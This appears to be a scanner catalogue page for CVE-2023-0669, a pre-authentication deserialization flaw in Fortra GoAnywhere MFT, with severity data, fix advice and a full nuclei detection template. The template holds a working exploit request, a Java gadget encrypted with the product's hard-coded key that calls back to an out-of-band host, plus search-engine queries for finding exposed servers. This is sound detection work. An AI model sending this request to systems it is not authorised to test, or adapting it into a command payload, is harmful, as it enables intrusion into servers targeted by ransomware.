Fortra GoAnywhere MFT - Remote Code Execution

Exploited in the wild. Listed by CISA on 2023-02-10; known to be used by ransomware.

highseverity

7.2CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Fortra GoAnywhere MFT is susceptible to remote code execution via unsafe deserialization of an arbitrary attacker-controlled object. This stems from a pre-authentication command injection vulnerability in the License Response Servlet.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /goanywhere/lic/accept
Positive when: contains in interactsh_protocol "dns" AND contains "GoAnywhere" AND status 500

Run it with nuclei: nuclei -id CVE-2023-0669 -u <target>

The full check

id: CVE-2023-0669

info:
  name: Fortra GoAnywhere MFT - Remote Code Execution
  author: rootxharsh,iamnoooob,dhiyaneshdk,pdresearch
  severity: high
  description: |
    Fortra GoAnywhere MFT is susceptible to remote code execution via unsafe deserialization of an arbitrary attacker-controlled object. This stems from a pre-authentication command injection vulnerability in the License Response Servlet.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html
    - https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml#zerodayfeb1
    - https://infosec.exchange/@briankrebs/109795710941843934
    - https://www.rapid7.com/blog/post/2023/02/03/exploitation-of-goanywhere-mft-zero-day-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0669
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-0669
    cwe-id: CWE-502
    epss-score: 0.99999
    epss-percentile: 0.99996
    cpe: cpe:2.3:a:fortra:goanywhere_managed_file_transfer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortra
    product: goanywhere_managed_file_transfer
    shodan-query:
      - http.favicon.hash:1484947000
      - http.favicon.hash:1484947000,1828756398,1170495932
    fofa-query:
      - app="goanywhere-mft"
      - icon_hash=1484947000
      - icon_hash=1484947000,1828756398,1170495932
    zoomeye-query: app="fortra goanywhere-mft"
  tags: cve2023,cve,rce,goanywhere,oast,kev,fortra,vkev,vuln

http:
  - raw:
      - |
        POST /goanywhere/lic/accept HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded

        bundle={{concat(url_encode(base64(aes_cbc(base64_decode(generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")), base64_decode("Dmmjg5tuz0Vkm4YfSicXG2aHDJVnpBROuvPVL9xAZMo="), base64_decode("QUVTL0NCQy9QS0NTNVBhZA==")))), '$2')}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - 'GoAnywhere'

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from